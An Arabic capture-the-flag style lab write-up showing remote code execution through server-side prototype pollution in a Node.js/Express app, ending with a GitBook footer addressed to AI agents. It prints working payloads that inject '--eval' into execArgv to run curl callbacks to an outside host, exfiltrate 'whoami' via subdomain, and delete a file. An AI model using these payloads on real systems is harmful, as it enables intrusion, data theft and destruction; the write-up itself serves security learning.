> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/prototype-pollution/remote-code-execution-via-server-side-prototype-pollution.md).

# تنفيذ تعليمات برمجية عن بُعد عبر Prototype Pollution من جانب الخادم

### تنفيذ أوامر عن بُعد عبر تلوّث النماذج الأولية على جهة الخادم

#### سياق المختبر

* تطبيق مبني على **Node.js** وإطار العمل **Express**.
* الثغرة: **تلوّث النموذج الأوّلي على جانب الخادم** لأن التطبيق يدمج بشكل غير آمن إدخالًا يتحكم فيه المستخدم داخل كائن JavaScript على جهة الخادم.
* الهدف: تلويث `Object.prototype` من أجل حقن أوامر نظام سيتم تنفيذها بعد ذلك بواسطة الخادم، ثم **حذف** `/home/carlos/morale.txt`.
* الاتصال الموفَّر: `wiener:peter` (في هذا المختبر لدينا بالفعل صلاحيات عالية ووصول إلى ميزات المسؤول).

#### نقطة الدخول الضعيفة: تحديث العنوان

تقبل دالة تحديث العنوان JSON. / ويمكن أن تتضمن التلوث عبر `constructor.prototype` (دليل على أن الدمج خطير):

```json
{
  "address_line_1": "مقر وينر",
  "address_line_2": "طريق وينر الأول",
  "city": "وينرفيل",
  "postcode": "BU1 1RP",
  "country": "المملكة المتحدة",
  "sessionId": "bgJz500ntJpShWGP0Lq8QWkZ3nvDb0BX",
  "constructor": {
    "prototype": {
      "test": "false",
      "json spaces": 1
    }
  }
}
```

<figure><img src="/files/f0d65a7c7116a1f9096cb79a2c924144623c8dfe" alt="" width="506"><figcaption></figcaption></figure>

<figure><img src="/files/15cc750b3618533c7440e177fe8eaa3b4cdc22c4" alt=""><figcaption></figcaption></figure>

#### الوظائف

بصفتك مسؤولًا، يوجد زر **تشغيل مهام الصيانة** مرئي.

عند النقر، ينفذ التطبيق مهامًا (مثل التنظيف) ويعرض:

* تنظيف قاعدة البيانات → نجاح
* تنظيف نظام الملفات → نجاح

يرسل العميل JSON مشابهًا:

```json
{
  "csrf": "L7LME4ZyzauaCTOU9Nc4P0ZdaHHcCYYO",
  "sessionId": "bgJz500ntJpShWGP0Lq8QWkZ3nvDb0BX",
  "tasks": [
    "db-cleanup",
    "fs-cleanup"
  ]
}
```

ويردّ الخادم بـ:

```json
{
  "results": [
    {
      "name": "db-cleanup",
      "description": "تنظيف قاعدة البيانات",
      "success": true
    },
    {
      "name": "fs-cleanup",
      "description": "تنظيف نظام الملفات",
      "success": true
    }
  ]
}
```

ملاحظة مهمة: في الخلفية، يبدو أن عملية Node.js تُطلق هذه المهام عبر **عملية فرعية** الآلية.

#### الاستغلال: حقن معاملات Node عبر `execArgv`

في Node.js، يمكن لبعض عمليات التنفيذ تمرير معاملات إلى وقت التشغيل عبر `execArgv`. / الفكرة: تلويث `Object.prototype.execArgv` لحقن `--eval=...` الذي ينفذ أمر نظام عبر `child_process.execSync`.

```javascript
--eval=require('child_process').execSync('id')
```

الحِمل المستخدم (اختبار رد النداء إلى Burp Collaborator عبر `curl`):

```json
"__proto__": {
    "execArgv":[
        "--eval=require('child_process').execSync('curl https://m2pugey17it1s1cdpbfmc54tuk0co5cu.oastify.com')"
    ]
}
```

ثم نُفعِّل **تشغيل مهام الصيانة** لإجبار التطبيق على بدء العملية التي تعيد استخدام `execArgv`.

<figure><img src="/files/0bec7519e3788fb47ef377374721f9df103df40f" alt=""><figcaption></figcaption></figure>

نستقبل بالفعل طلبًا على Collaborator → تم تأكيد التنفيذ.

<figure><img src="/files/ebf5ab74ae674776c3b835e7c288f1b1c681a6d9" alt=""><figcaption></figcaption></figure>

#### التحقق من السياق: Exfilter `whoami`

يمكنك استخراج المستخدم عبر نطاق فرعي ديناميكي:

{% code overflow="wrap" %}

```json
"--eval=require('child_process').execSync('curl https://$(whoami).m2pugey17it1s1cdpbfmc54tuk0co5cu.oastify.com')"
```

{% endcode %}

الاستقبال: `carlos`

<figure><img src="/files/b8a854c5b134fc2c26bc37bfd120f91c420c3f25" alt=""><figcaption></figcaption></figure>

#### الخطوة الأخيرة: حذف الملف المطلوب

يتم إرسال التلوث النظيف مع أمر الحذف:

```json
{
  "address_line_1": "مقر وينر",
  "address_line_2": "طريق وينر الأول",
  "city": "وينرفيل",
  "postcode": "BU1 1RP",
  "country": "المملكة المتحدة",
  "sessionId": "bgJz500ntJpShWGP0Lq8QWkZ3nvDb0BX",
  "__proto__": {
    "execArgv": [
      "--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"
    ]
  }
}
```

ثم نعيد التشغيل **مهام الصيانة** لإطلاق التنفيذ.

النتيجة المتوقعة: `/home/carlos/morale.txt` تم حذف الملف وتم التحقق من المختبر.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/prototype-pollution/remote-code-execution-via-server-side-prototype-pollution.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
